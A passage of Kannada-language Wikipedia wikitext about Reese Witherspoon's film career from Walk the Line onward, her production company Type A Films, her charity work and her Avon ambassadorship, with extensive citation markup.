ನೇರ ಪ್ರೇಕ್ಷಕರ ಸಮ್ಮುಖದಲ್ಲಿ ಅವರು ಹಾಡುಗಳನ್ನು ನಿರ್ವಹಿಸಬೇಕಿತ್ತು. ತಾವು ನೇರ ಪ್ರದರ್ಶನ ನೀಡಬೇಕಾಗಿರುವುದು ರೀಸ್‌ಗೆ ಅರಿವಾದಾಗ, ಬಹಳ ತಳಮಳಗೊಂಡ ಅವರು ಈ ಚಲನಚಿತ್ರದ ಕರಾರನ್ನು ಅಂತ್ಯಗೊಳಿಸಲು ತಮ್ಮ ವಕೀಲರಿಗೆ ಸಲಹೆ ನೀಡಿದ್ದರು.<ref name="faces"/> ಆನಂತರ, ಸಂದರ್ಶನವೊಂದರಲ್ಲಿ, 'ಪಾತ್ರದ ಅತ್ಯಂತ ಸವಾಲಿನ ಭಾಗವಾಗಿತ್ತದು. ನಾನು ವೃತಿಪರವಾಗಿ ಎಂದೂ ಹಾಡಿರಲಿಲ್ಲ' ಎಂದು ರೀಸ್‌ ಹೇಳಿದರು.<ref>{{cite web|title=Reese Witherspoon, live on Breakfast|publisher=[[BBC News]]|url=http://news.bbc.co.uk/1/hi/programmes/breakfast/4666180.stm|accessdate=2007-11-07 | date=2006-02-01}}</ref> ನಂತರ, ಅವರು ಆರು ತಿಂಗಳ ಕಾಲ ಈ ಪಾತ್ರಕ್ಕಾಗಿ ಹಾಡುವುದರ ತಾಲೀಮು ನಡೆಸಬೇಕಾಯಿತು.<ref name="faces">{{cite web|title=Faces of the week|publisher=[[BBC News]]|url=http://news.bbc.co.uk/1/hi/6113620.stm|accessdate=2007-11-05 | date=2006-11-03}}</ref><ref>{{cite web|title=Stars Learn to Sing for Roles ... or Do They?|date=2006-02-08| author=Donaldson-Evans, Catherine |publisher=[[Fox News Channel]]|url=http://www.foxnews.com/story/0,2933,184170,00.html|accessdate=2007-11-05}}</ref> ಕಾರ್ಟರ್‌ ಕ್ಯಾಷ್‌ರ ಪಾತ್ರ ನಿರ್ವಹಿಸಿದ ರೀಸ್‌ ವಿದರ್‌ಸ್ಪೂನ್‌ರಿಗೆ ವಿಮರ್ಶಕರಿಂದ ಒಳ್ಳೆಯ ಅಭಿಪ್ರಾಯ ಲಭಿಸಿತು. ರೀಸ್‌ರ ನಟನೆಯು ಚಲನಚಿತ್ರಕ್ಕೆ 'ಅನಂತ ಚೈತನ್ಯ' ನೀಡಿತು ಎಂದು ರೊಜರ್‌ ಎಬರ್ಟ್‌ ಬರೆದಿದ್ದಾರೆ.<ref>{{cite web |url=http://rogerebert.suntimes.com/apps/pbcs.dll/article?AID=/20051117/REVIEWS/51107006/1023 |title=Walk the Line |first=Roger |last=Ebert |date=2002-09-27 |accessdate=2007-12-01 |archive-date=2007-12-12 |archive-url=https://web.archive.org/web/20071212120132/http://rogerebert.suntimes.com/apps/pbcs.dll/article?AID=%2F20051117%2FREVIEWS%2F51107006%2F1023 |url-status=dead }}</ref> ಈ ನಟನೆಗಾಗಿ ರೀಸ್‌ ಹಲವು ಪ್ರಶಸ್ತಿ ಗಳಿಸಿದರು. ಇದರಲ್ಲಿ [[ಗೋಲ್ಡನ್‌ ಗ್ಲೋಬ್‌ ಪ್ರಶಸ್ತಿ‌]], [[ಸ್ಕ್ರೀನ್‌ ಆಕ್ಟರ್ಸ್‌ ಗಿಲ್ಡ್‌]], [[BAFTA]] ಪ್ರಮುಖ ಪಾತ್ರದಲ್ಲಿ ಅತ್ಯುತ್ತಮ ನಟನೆಗಾಗಿ [[ಅಕ್ಯಾಡಮಿ ಪ್ರಶಸ್ತಿ‌]]ಗಳಿಸಿದರು. ಚಲನಚಿತ್ರೋದ್ಯಮದಲ್ಲಿ ವಿಮರ್ಶಾತ್ಮಕ ಯಶಸ್ಸಿನ ಜೊತೆಗೆ, ರೀಸ್‌ ವಿದರ್‌ಸ್ಪೂನ್‌ ಮತ್ತು ಅವರ ''ವಾಕ್‌ ದಿ ಲೈನ್‌'' ಚಲನಚಿತ್ರದ ಸಹ-ನಟ [[ಜೋಕ್ವಿನ್‌ ಫೀನಿಕ್ಸ್‌]] [[CMT ಮ್ಯೂಸಿಕ್‌ ಪ್ರಶಸ್ತಿ]]ಗಳಿಂದ 'ವರ್ಷದ ಸಹಯೋಗದ ವೀಡಿಯೊ' ನಾಮನಿರ್ದೇಶನವನ್ನೂ ಗಳಿಸಿದರು.<ref>{{cite news|url=http://news.bbc.co.uk/1/hi/entertainment/4824306.stm|title=Movie stars up for country award|publisher=[[BBC]]|accessdate=2008-07-17 | date=2006-03-20}}</ref><ref>{{cite news|url=http://www.cmt.com/microsites/cmt-music-awards/2006/nominees.jhtml|title=2006 Nominees|publisher=[[Country Music Television]]|accessdate=2008-07-17}}</ref> ಈ ಚಲನಚಿತ್ರದ ಕುರಿತು ರೀಸ್‌ ಬಹಳ ಉತ್ಸಾಹ ವ್ಯಕ್ತಪಡಿಸಿ: 'ಇದು ವಾಸ್ತವಿಕ ದೃಷ್ಟಿಯಿಂದ ಕೂಡಿರುವುದರಿಂದ ಹಾಗೂ ನಿಷಿದ್ಧ ಆಲೋಚನೆಗಳು ಮತ್ತು ತಪ್ಪುಮಾಡುವ ಸಂಭವವಿರುವ ಒಂದು ರೀತಿಯ ನೈಜ ವಿವಾಹ, ನೈಜ ಸಂಬಂಧವನ್ನು ಬಿಂಬಿಸುತ್ತಾದ್ದರಿಂದ ನಾನು ಈ ಚಿತ್ರವನ್ನು ನಿಜವಾಗಲೂ ಇಷ್ಟಪಡುತ್ತೇನೆ. ಸಮಸ್ಯೆಗಳಿಗೆ ಲಘುವಾದ, ಸುಲಭದ ಪರಿಹಾರಗಳನ್ನಷ್ಟೇ ಅಲ್ಲ, ದೀರ್ಘಾವಧಿಯಲ್ಲಿ ಇದು ಸಹಾನುಭೂತಿಯ ಬಗ್ಗೆಯೂ ಸಾರುತ್ತದೆ.' <ref name="about.interview">{{cite web|author=Murray, Rebecca |title=Reese Witherspoon Interview|url=http://movies.about.com/od/walktheline/a/walklinrw111405_2.htm|publisher=[[About.com]]|accessdate=2007-12-15}}</ref> ರೀಸ್‌ ಜೂನ್‌ ಕಾರ್ಟರ್‌ ಕ್ಯಾಷ್‌ ಬಗ್ಗೆಯೂ ಮಾತನಾಡಿದರು. ಜೂನ್‌ ಕ್ಯಾಷ್‌ ತಮ್ಮ ಕಾಲವನ್ನು ಮೀರಿದ ಮಹಿಳೆಯಾಗಿದ್ದರೆಂದು ಭಾವಿಸುವುದಾಗಿ ಹೇಳಿದರು. 'ಅವರ ಪಾತ್ರದ ಬಗ್ಗೆ ನಿಜವಾಗಲೂ ಗಮನಾರ್ಹ ವಿಷಯವೇನೆಂದರೆ ನಾವು 1950ರ ದಶಕಗಳಲ್ಲಿ ಸಾಮಾನ್ಯ ಸಂಗತಿಗಳ ರೀತಿ ಕಾಣುವಂತೆ ಎಲ್ಲ ಕೆಲಸಗಳನ್ನು ಅವರು ಮಾಡಿರುವುದು. ಆ ಕಾಲದಲ್ಲಿ ಮಹಿಳೆಯೊಬ್ಬಳು ಎರಡು ಬಾರಿ ಮದುವೆ-ವಿಚ್ಛೇದನಗಳಾಗಿ, ಇಬ್ಬರು ವಿಭಿನ್ನ ಪತಿಗಳಿಂದ ಇಬ್ಬರು ವಿಭಿನ್ನ ಮಕ್ಕಳನ್ನು ಪಡೆದು, ಸ್ವತಃ ಅತ್ಯಂತ ಖ್ಯಾತ ಸಂಗೀತಗಾರರಿಂದ ತುಂಬಿದ ಕಾರಿನಲ್ಲಿ ಸುತ್ತಾಡುವುದು ನಿಜವಾಗಲೂ ಸಹಿಸಿಕೊಳ್ಳಲು ಸಾಧ್ಯವಿರಲಿಲ್ಲ. ಅವರು ಯಾವುದೇ ಸಾಮಾಜಿಕ ಸಂಪ್ರದಾಯಕ್ಕೆ ಒಗ್ಗಿಕೊಳ್ಳಲು ಯತ್ನಿಸಲಿಲ್ಲ. ಹಾಗಾಗಿ ಬಹಳ ಆಧುನಿಕ ಕಾಲದ ಮಹಿಳೆಯನ್ನಾಗಿ ಅವರನ್ನು ಮಾಡಿದೆಯೆಂದು ನಾನು ಭಾವಿಸಿರುವೆ.' <ref name="about.interview"/> ಆಸ್ಕರ್‌ ಪ್ರಶಸ್ತಿ ಗಳಿಸಿದ ನಂತರ, ತಮ್ಮ ಮೊದಲನೆಯ ಆಧುನಿಕ ದಿನದ ಯಕ್ಷಿಣಿ ಕಥೆ ''[[ಪೆನೆಲೋಪ್‌]]'' ನಲ್ಲಿ ಕ್ರಿಸ್ಟೀನಾ ರಿಕ್ಸಿ ಜತೆ ನಟಿಸಿದ್ದರು. ತನ್ನ ಕುಟುಂಬದಲ್ಲಿ ಶಾಪಗ್ರಸ್ಥಳಾದ ಪೆನೆಲೋಪ್‌ ಎಂಬ ಹುಡುಗಿಯ ಆಪ್ತಸ್ನೇಹಿತೆ ಆನೀಗೆ ಪೋಷಕಪಾತ್ರವನ್ನು ವಿದರ್‌ಸ್ಪೂನ್‌ ನಿರ್ವಹಿಸಿದ್ದರು. ರೀಸ್‌ ವಿದರ್‌ಸ್ಪೂನ್‌ ಸ್ವಾಮ್ಯದಲ್ಲಿರುವ ಟೈಪ್‌ ಎ ಫಿಲ್ಮ್ಸ್‌ ಈ ಚಲನಚಿತ್ರವನ್ನು ನಿರ್ಮಿಸಿತ್ತು. [[2006 ಟೊರೊಂಟೊ ಅಂತಾರಾಷ್ಟ್ರೀಯ ಚಲನಚಿತ್ರೋತ್ಸವ]]ದಲ್ಲಿ ಈ ಚಲನಚಿತ್ರದ ಪ್ರಥಮಪ್ರದರ್ಶನವಾಯಿತು.<ref name="faces"/><ref>{{cite web|author= Macdonald, Moira |title=From Toronto: Let the film festival begin!|date= 2006-09-06|publisher=[[The Seattle Times]]|url=http://seattletimes.nwsource.com/html/television/2003244619_toronto06.html|accessdate=2007-12-12}}</ref> ''ಪೆನೆಲೋಪ್‌'' ಚಲನಚಿತ್ರದ ಬಿಡುಗಡೆಯ ದಿನಾಂಕವನ್ನು ಎರಡು ಬಾರಿ ಮುಂದೂಡಲಾಗಿತ್ತು. ಆನಂತರ ಫೆಬ್ರುವರಿ 2008ರಲ್ಲಿ ಬಿಡುಗಡೆಗೊಳ್ಳಲು ಸಜ್ಜಾಗಿತ್ತು.<ref>{{cite web|url=http://www.indiewire.com/biz/2007/08/at_ifc_films_pe.html|title=At IFC Films, "Penelope" Shift Points To A Change in Focus; Company Emphasizing First Take Slate|publisher=indiewire.com|author=Hernandez, Eugene|accessdate=2007-12-12|archive-date=2007-09-29|archive-url=https://web.archive.org/web/20070929120600/http://www.indiewire.com/biz/2007/08/at_ifc_films_pe.html|url-status=dead}}</ref><ref>{{cite web| title=Penelope' slides to Summit| author=Goldstein, Gregg| date=2007-09-06| publisher=[[Hollywood Reporter]]| url=http://www.hollywoodreporter.com/hr/content_display/film/news/e3i9536cb67b676e8f35b9e0455d2d07d70| accessdate=2007-12-15}}{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> ನವೆಂಬರ್‌ 2006ರಲ್ಲಿ ವಿದರ್‌ಸ್ಪೂನ್ ಪುನಃ ಕ್ಯಾಮೆರಾದ ಮುಂದೆ ವಾಪಸಾದರು. ರಾಜಕೀಯ ರೋಮಾಂಚಕ ಕಥಾವಸ್ತುವನ್ನು ಹೊಂದಿದ ಚಲನಚಿತ್ರ ''[[ರೆಂಡಿಷನ್‌]]'' ಗಾಗಿ ಚಿತ್ರೀಕರಣ ಆರಂಭವಾಯಿತು. [[ಮೆರಿಲ್‌ ಸ್ಟ್ರೀಪ್‌]], [[ಅಲ್ಯಾನ್‌ ಆರ್ಕಿನ್‌]], [[ಪೀಟರ್‌ ಸಾರ್ಸ್‌ಗಾರ್ಡ್‌]], ಮತ್ತು [[ಜೇಕ್‌ ಗಿಲೆನ್ಹಾಲ್‌]]ರೊಂದಿಗೆ ನಟಿಸಿದ ವಿದರ್‌ಸ್ಪೂನ್ ಬಾಂಬ್‌ ಸ್ಫೋಟದ ಆರೋಪಿಯ ಗರ್ಭಿಣಿ ಪತ್ನಿ ಇಸಬೆಲ್ಲಾ ಅಲ್‌-ಇಬ್ರಾಹಿಮ್ ಪಾತ್ರ ನಿರ್ವಹಿಸಿದರು. ''ರೆಂಡಿಷನ್‌'' ಚಲನಚಿತ್ರವು ಅಕ್ಟೋಬರ್‌ 2007ರಲ್ಲಿ ಬಿಡುಗಡೆಗೊಂಡಿತು. 2005ರಲ್ಲಿ ''ವಾಕ್‌ ದಿ ಲೈನ್‌'' ಬಿಡುಗಡೆಗೊಂಡ ಬಳಿಕ ಎರಡು ವರ್ಷಗಳಲ್ಲಿ ಇದೇ ಅವರ ಮೊದಲ ಚಲನಚಿತ್ರವಾಗಿತ್ತು.<ref>{{cite web|title=Witherspoon Gives a Dramatic `Rendition'|author=Germain, David|date=2007-10-16|publisher=[[The Washington Post]]| url=http://www.washingtonpost.com/wp-dyn/content/article/2007/10/16/AR2007101601378.html?nav=rss_artsandliving/entertainmentnews| accessdate=2007-11-05}}</ref> ಈ ಚಲನಚಿತ್ರವು ಬಹುತೇಕ ನಕಾರಾತ್ಮಕ ವಿಮರ್ಶೆಗಳನ್ನು ಗಳಿಸಿತ್ತು. [[ಟೊರೊಂಟೊ ಚಲನಚಿತ್ರೋತ್ಸವ]]ದಲ್ಲಿ ಈ ಚಲನಚಿತ್ರ ನಿರಾಶಾದಾಯಕ ಎಂದು ಪರಿಗಣಿಸಲಾಯಿತು.<ref>{{cite web|title='Rendition' is story of torture|author=Mathews, Jack|date=2007-10-19|publisher=[[New York Daily News]]|url=http://www.nydailynews.com/entertainment/movies/2007/10/19/2007-10-19_rendition_is_story_of_torture.html|accessdate=2007-12-12|archive-date=2007-12-22|archive-url=https://web.archive.org/web/20071222114101/http://www.nydailynews.com/entertainment/movies/2007/10/19/2007-10-19_rendition_is_story_of_torture.html|url-status=dead}}</ref> ರೀಸ್‌ ವಿದರ್‌ಸ್ಪೂನ್‌ರ ನಟನೆಯೂ ಟೀಕೆಗೊಳಗಾಯಿತು: 'ವಿದರ್‌ಸ್ಪೂನ್ ನಿಸ್ತೇಜವಾಗಿ ನಟಿಸಿರುವುದು ಅಚ್ಚರಿಯ ಸಂಗತಿ. ಸಾಮಾನ್ಯವಾಗಿ ತಮ್ಮ ಪಾತ್ರಗಳಿಗೆ ಶಕ್ತಿ ಮತ್ತು ಜೀವ ತುಂಬುವ ಅವರ ಪಾತ್ರ ಇಲ್ಲಿ ಕಳೆಗುಂದಿದಂತೆ ಕಂಡಿದೆ' ಎಂದು ''[[USA ಟುಡೆ]]'' ಬರೆಯಿತು.<ref>{{cite web|title='Rendition' fails to turn over interest|author=Puig, Claudia | date=2007-10-18|publisher=[[USA Today]]|url=http://www.usatoday.com/life/movies/reviews/2007-10-18-rendition_N.htm|accessdate=2007-12-12}}</ref> ಡಿಸೆಂಬರ್‌ 2007ರಲ್ಲಿ, ನಟ [[ವಿನ್ಸ್‌ ವಾನ್‌]]ರೊಂದಿಗೆ ರೀಸ್‌ ''[[ಫೋರ್‌ ಕ್ರಿಸ್ಮಸಸ್‌]]'' ಎಂಬ ರಜಾ ಹಾಸ್ಯ ಚಿತ್ರಕ್ಕಾಗಿ ಚಿತ್ರೀಕರಣ ಆರಂಭಿಸಿದರು. ಕ್ರಿಸ್ಮಸ್‌ ದಿನವನ್ನು ಕಳೆಯಲು ತಮ್ಮ ಎಲ್ಲಾ ನಾಲ್ವರೂ ವಿಚ್ಛೇದಿತ ಹೆತ್ತವರನ್ನು ಭೇಟಿಯಾಗಲು ಯತ್ನಿಸುವ ದಂಪತಿಯ ಕಥೆಯನ್ನು ಹೊಂದಿರುವ ಈ ಚಿತ್ರದಲ್ಲಿ ಅವರು ವಿನ್ಸ್‌ ವಾಗನ್ ಜತೆ ನಟಿಸಿದರು.<ref>{{cite web|url=http://www.variety.com/article/VR1117969202.html?categoryid=13&cs=1|title=Vaughn, Witherspoon set for comedy|author=Mcnary, Dave|date=2007-07-26|publisher=[[Variety (magazine)|Variety]]|accessdate=2007-08-22}}</ref> ಈ ಚಲನಚಿತ್ರವು ನವೆಂಬರ್‌ 2008ರಲ್ಲಿ ಬಿಡುಗಡೆಯಾಯಿತು. ವಿಮರ್ಶಕರಿಂದ ಸಾಮಾನ್ಯ ಪರಾಮರ್ಶೆಗಳಿಗೆ ಒಳಗಾದರೂ ಈ ಚಲನಚಿತ್ರವು ಗಲ್ಲಾಪೆಟ್ಟಿಗೆ ಯಶಸ್ಸು ಗಳಿಸಿತು. ದೇಶೀಯವಾಗಿ ಇದು 120 ದಶಲಕ್ಷ US ಡಾಲರ್‌ ಹಣ ಗಳಿಸಿತು. ವಿಶ್ವಾದ್ಯಂತ US$157 ದಶಲಕ್ಷ ಹಣ ಗಳಿಸಿತು.<ref>{{cite web|url=http://www.metacritic.com/film/titles/fourchristmases | title=Four Christmases (2008):Reviews | publisher=Metacritic | accessdate=2008-11-30}}</ref> 2009ರಲ್ಲಿ ವಿದರ್‌ಸ್ಪೂನ್ ಮೊದಲ ಬಾರಿಗೆ ಭೀತಿಹುಟ್ಟಿಸುವ ಪ್ರಕಾರದ ಚಲನಚಿತ್ರವನ್ನು ''ಆವರ್‌ ಫ್ಯಾಮಿಲಿ ಟ್ರಬಲ್ಸ್‌'' ಪಾತ್ರದ ಮೂಲಕ ನಿರ್ವಹಿಸುವರೆಂದು ಘೋಷಿಸಲಾಯಿತು. ''ಲೀಗಲ್ಲಿ ಬ್ಲೋಂಡ್‌ 2'' ನ ಸಹನಿರ್ಮಾಪಕಿ ಜೆನಿಫರ್‌ ಸಿಂಪ್ಸನ್‌ರ ಸಹಯೋಗದೊಂದಿಗೆ, 'ಟೈಪ್‌ ಎ' ಬ್ಯಾನರ್‌ನಲ್ಲಿ, ಈ ಚಲನಚಿತ್ರವನ್ನು ನಿರ್ಮಿಸಲಿದ್ದಾರೆ.<ref>{{cite web|url=http://www.variety.com/article/VR1117934739.html?categoryid=13&cs=1|author= Fleming, Michael| date=2005-12-15|title=Reese might find 'Family'|publisher=[[Variety (magazine)|Variety]]|accessdate=2007-08-22}}</ref> [[ಕಂಪ್ಯೂಟರ್‌-ಆನಿಮೇಟೆಡ್‌]] 3-D ಚಲನಚಿತ್ರ ''[[ಮಾನ್ಸ್ಟರ್ಸ್‌ ವರ್ಸಸ್‌ ಏಲಿಯೆನ್ಸ್‌]]'' ನ ಪ್ರಮುಖ ಪಾತ್ರ ಸೂಸಾನ್‌ ಮರ್ಫಿಗಾಗಿ ರೀಸ್‌ ವಿದರ್‌ಸ್ಪೂನ್‌ ಧ್ವನಿದಾನ ಮಾಡಿದರು. [[ಡ್ರೀಮ್ವರ್ಕ್ಸ್‌ ಆನಿಮೇಷನ್‌]] ನಿರ್ಮಾಣದ ಈ ಚಲನಚಿತ್ರವು 29 ಮಾರ್ಚ್‌ 2009ರಂದು ಬಿಡುಗಡೆಗೊಂಡಿತು.<ref>{{cite web|url=http://www.usatoday.com/life/movies/news/2008-03-10-monsters-aliens_N.htm|publisher=[[USA Today]]|title=First look: 'Monsters vs. Aliens' is the ultimate; a 3-D 'first'|accessdate=2008-04-06}}</ref> [[ಪಿಕ್ಸಾರ್‌ ಆನಿಮೇಷನ್ ಸ್ಟೂಡಿಯೊಸ್‌]] ನಿರ್ಮಾಣದ ''[[ದಿ ಬೇರ್‌ ಅಂಡ್‌ ದಿ ಬೋ]]'' ಎಂಬ ಕಂಪ್ಯೂಟರ್‌ ಆನಿಮೇಟಡ್ 3-D ಚಲನಚಿತ್ರದಲ್ಲಿ ಧ್ವನಿದಾನ ಮಾಡುವುದು ಅವರ ಮುಂದಿನ ಯೋಜನೆಗಳಲ್ಲಿ ಸೇರಿದೆ. [[ವಾಲ್ಟ್‌ ಡಿಸ್ನಿ ಪಿಕ್ಚರ್ಸ್‌]] ವಿತರಣೆಯ ಈ ಚಲನಚಿತ್ರವು 2011ರ ಕ್ರಿಸ್ಮಸ್‌ ಹಬ್ಬದಂದು ಬಿಡುಗಡೆಗೊಳ್ಳಲು ನಿಗದಿಯಾಗಿದೆ.<ref>{{cite news | title = The Walt Disney Studios Rolls Out Slate of 10 New Animated Motion Pictures Through 2012 | publisher = Walt Disney Company, via PRNewswire| date = 2008-04-08| url = http://www.prnewswire.com/cgi-bin/stories.pl?ACCT=104&STORY=/www/story/04-08-2008/0004789174&EDATE=| accessdate = 2008-04-09 }}</ref> ವಿದರ್‌ಸ್ಪೂನ್ ಮುಂಬರುವ ಇನ್ನೊಂದು ಚಲನಚಿತ್ರದಲ್ಲಿ ಕಾಣಿಸಿಕೊಳ್ಳಲಿದ್ದು, ಅದು 1939ರಲ್ಲಿ ಬಿಡುಗಡೆಯಾದ ''[[ಮಿಡ್ನೈಟ್‌]]'' ಎಂಬ ಹಾಸ್ಯ ಚಲನಚಿತ್ರದ ಮರುನಿರ್ಮಾಣ ಆಗಲಿದೆ. [[ಯೂನಿವರ್ಸಲ್‌ ಪಿಕ್ಚರ್ಸ್‌]] ನಿರ್ಮಿಸಲಿರುವ ಈ ಚಲನಚಿತ್ರಕ್ಕೆ [[ಮೈಕಲ್‌ ಆರ್ನ್‌ಡ್ಟ್‌]] ಚಿತ್ರಕಥೆ ನೀಡಲಿದ್ದಾರೆ.<ref>{{cite web|author= Fleming, Michael|date=2007-05-30 |url=http://www.variety.com/article/VR1117966009.html?categoryid=10&cs=1|title=Witherspoon to star in 'Midnight'|publisher=[[Variety (magazine)|Variety]]|accessdate=2007-08-22}}</ref> == ಇತರೆ ಯೋಜನೆಗಳು == ರೀಸ್‌ ವಿದರ್‌ಸ್ಪೂನ್‌ 'ಟೈಪ್‌ ಎ ಫಿಲ್ಮ್ಸ್‌' ಎಂಬ ಚಲನಚಿತ್ರ ನಿರ್ಮಾಣ ಸಂಸ್ಥೆಯ ಒಡತಿ. ಬಾಲ್ಯದಅವರ ಉಪನಾಮ 'ಲಿಟ್ಲ್‌ ಮಿಸ್‌ ಟೈಪ್‌ ಎ' ಹೆಸರನ್ನು ಕಂಪೆನಿಗೆ ಇಡಲಾಗಿತ್ತು ಎಂದು ಮಾಧ್ಯಮವು ನಂಬಿತ್ತು.<ref name="ambition"/><ref>{{cite web|date=2006-02-13|author=Hancock, Tiffany|title=Fashion victim: Reece Witherspoon|publisher=[[The Daily Telegraph]]|url=http://www.telegraph.co.uk/fashion/main.jhtml?xml=/fashion/2006/02/13/efvictim11.xml|accessdate=2007-11-05|archive-date=2007-12-03|archive-url=https://web.archive.org/web/20071203034324/http://www.telegraph.co.uk/fashion/main.jhtml?xml=%2Ffashion%2F2006%2F02%2F13%2Fefvictim11.xml|url-status=dead}}</ref> ಆದರೆ, ''[[ಇಂಟರ್ವ್ಯೂ]]'' ಪತ್ರಿಕೆಯು ಕಂಪೆನಿಯ ಕುರಿತು ರಿದರ್‌ಸ್ಪೂನ್ ಅವರಲ್ಲಿ ಮಾಹಿತಿ ಕೇಳಿದಾಗ, ಅವರು ಹೆಸರಿನ ಮೂಲದ ಬಗ್ಗೆ ಸ್ಪಷ್ಟೀಕರಣ ನೀಡಿದರು: 'ನನ್ನ ಹೆಸರನ್ನೇ ಇಟ್ಟಿರುವೆ ಎಂದು ಜನರು ಭಾವಿಸಿದ್ದಾರೆ... ನಿಜವೇನೆಂದರೆ, ಅದು ನಮ್ಮ ಕುಟುಂಬದವರೊಂದಿಗಿನ ಒಂದು [[ಒಳ-ನಗೆಹನಿ]]. ಟೈಪ್‌ ಎ ಮತ್ತು ಟೈಪ್‌ ಬಿ ವ್ಯಕ್ತಿತ್ವಗಳ ನಡುವಿನ ವ್ಯತ್ಯಾಸ ಸೇರಿದಂತೆ, ಕ್ಲಿಷ್ಟವಾದ ವೈದ್ಯಕೀಯ ಪದಗಳು ಏಳನೆಯ ವಯಸ್ಸಿನಲ್ಲೇ ನನಗೆ ಅರ್ಥವಾಗುತ್ತಿದ್ದವು. ಆದರೆ ನಾನು ಸಂಸ್ಥೆಗೆ ಡಾಗ್ಫುಡ್‌ ಫಿಲ್ಮ್ಸ್‌ ಅಥವಾ ಫೊರ್ಕ್‌ ಅಥವಾ ಮತ್ತ್ಯಾವುದೋ ಹೆಸರಿಡಲು ಇಚ್ಛಿಸಿದ್ದೆ. ಜೀವಮಾನವಿಡೀ ನೀವು ಈ ಭಾವನೆಗಳನ್ನು ಒಯ್ಯುತ್ತೀರಿ.'<ref name="findarticles"/> ಶಿಕ್ಷಣ, ಆರೋಗ್ಯಕ್ಷೇತ್ರ ಮತ್ತು ತುರ್ತುಸಹಾಯಗಳ ಮೂಲಕ ವಿಶ್ವಾದ್ಯಂತ ಮಕ್ಕಳಿಗೆ ನೆರವು ನೀಡುವ [[ಸೇವ್‌ ದಿ ಚಿಲ್ಡ್ರನ್‌]] ಸಂಸ್ಥೆಗೆ ರೀಸ್‌ ದೀರ್ಘಕಾಲದ ಬೆಂಬಲಿಗರಾಗಿದ್ದಾರೆ.<ref name="chldrn"/> ಶಿಶುಕಲ್ಯಾಣ ಮತ್ತು ಸಂಶೋಧನಾ ಸಂಘಟನೆ '[[ಚಿಲ್ಡ್ರನ್ಸ್‌ ಡಿಫೆನ್ಸ್‌ ನಿಧಿ]]‌' ಆಡಳಿತ ಮಂಡಳಿಯಲ್ಲಿ ಕೂಡ ಅವರು ಸೇವೆ ಸಲ್ಲಿಸುತ್ತಿದ್ದಾರೆ.<ref name="chldrn"/> CDF ಯೋಜನೆಯಡಿ,2006ರಲ್ಲಿ, [[ಚಂಡಮಾರುತ ಕತ್ರಿನಾ]]ಸಂತ್ರಸ್ತರ ಅಗತ್ಯಗಳ ಬಗ್ಗೆ ಗಮನಸೆಳೆಯಲು[[ಲೂವಿಸಿಯಾನಾದ ನ್ಯೂ ಆರ್ಲಿಯನ್ಸ್‌]]ಗೆ ತೆರಳಿದ ನಟಿಯರ ಸಮೂಹದಲ್ಲಿ ಇವರೂ ಒಬ್ಬರಾಗಿದ್ದರು.<ref>{{cite web|title=Witherspoon, Garner Tour New Orleans|author=Plaisance, Stacey|date=2006-05-08| publisher=[[The Washington Post]]|url=http://www.washingtonpost.com/wp-dyn/content/article/2006/05/08/AR2006050801206.html|accessdate=2007-12-01}}</ref> ಈ ಪ್ರವಾಸದಲ್ಲಿ ಅವರು ಮಕ್ಕಳನ್ನು ಭೇಟಿಯಾಗಿ ಮಾತನಾಡಿಸಿ, ನಗರದ ಮೊದಲ ಫ್ರೀಡಮ್‌ ಸ್ಕೂಲ್‌ನ ಸ್ಥಾಪನೆಗೆ ಸಹಾಯ ಮಾಡಿದರು.<ref name="trip"/> ಇದು ಮರೆಯಲಾಗದ ಒಂದು ಅನುಭವ ಎಂದು ವಿದರ್‌ಸ್ಪೂನ್ ಹೇಳಿದರು.<ref name="trip">{{cite web|title=Reese Witherspoon Speaks About Children of Katrina| publisher=[[ABC News]]|url=http://abcnews.go.com/ThisWeek/MothersDay/story?id=1960165|date=2006-05-14|accessdate=2007-12-01}}</ref> 2007ರಲ್ಲಿ ಅವರು ಜಾಹೀರಾತುಗಳ ಒಪ್ಪಂದಗಳಿಗೆ ಪದಾರ್ಪಣೆ ಮಾಡಿದರು. [[ಏವನ್‌ ಪ್ರಾಡಕ್ಟ್ಸ್‌]] ಎಂಬ ಸೌಂದರ್ಯವರ್ಧಕ ತಯಾರಕರಿಗಾಗಿ ಮೊದಲ ಜಾಗತಿಕ ರಾಯಭಾರಿಯಾಗಿ ಸೇವೆ ಸಲ್ಲಿಸಲು ಬಹುವರ್ಷೀಯ ಕರಾರಿಗೆ ಸಹಿ ಹಾಕಿದರು.<ref name="chldrn">{{cite web|title=Reese Witherspoon, Avon Lady| publisher=Eonline.com| author=Finn, Natalie| date=2007-08-02| url=http://uk.eonline.com/uberblog/archive.jsp?uuid=322d0efb-3e13-4c0b-8c9c-1ebca11f45d2|accessdate=2007-11-11}}</ref><ref name="avon">{{cite web|author=Guest, Katy|date=2007-08-05 |title=Reese Witherspoon: From Hollywood star to Avon lady|publisher=[[The Independent]]. Archived at Findarticles.com|url=http://findarticles.com/p/articles/mi_qn4159/is_20070805/ai_n19442059|accessdate=2007-11-11}}</ref> ಏವನ್‌ ಉದ್ದಿಮೆಯ ಸೌಂದರ್ಯವರ್ಧಕ ಉತ್ಪನ್ನಗಳಿಗಾಗಿ ಅವರು ವಕ್ತಾರೆಯಾಗಿದ್ದಾರೆ. ಇಷ್ಟೇ ಅಲ್ಲದೆ, ಮಹಿಳೆಯರಿಗೆ ಬೆಂಬಲ ನೀಡುವ ದಾನಧರ್ಮ ಸಂಘಟನೆ, ಸ್ತನದ ಕ್ಯಾನ್ಸರ್‌ ಸಂಶೋಧನೆ ಹಾಗೂ ಕೌಟುಂಬಿಕ ಹಿಂಸೆಗಳನ್ನು ತಡೆಗಟ್ಟಲು ಗಮನವಹಿಸಿರುವ''ಏವನ್‌ ಫೌಂಡೇಷನ್‌'' ನ ಗೌರವಾನ್ವಿತ ಅಧ್ಯಕ್ಷೆಯಾಗಿ ರೀಸ್‌ ವಿದರ್‌ಸ್ಪೂನ್‌ ಕಾರ್ಯನಿರ್ವಹಿಸುತ್ತಿದ್ದಾರೆ.<ref name="avon products">{{cite web|title=Reese Witherspoon heeds Avon call to be spokeswoman|publisher=[[Reuters]]| date=2007-08-02|url=http://www.reuters.com/article/lifestyleMolt/idUSN0141828920070802|accessdate=2007-11-11}}</ref><ref>{{cite web|title=Witherspoon to become 'Avon lady'|publisher=[[BBC News]]|date=2007-08-01| url=http://news.bbc.co.uk/2/hi/business/6927011.stm|accessdate=2007-12-01}}</ref> ಸೌಂದರ್ಯವರ್ಧಕಗಳ 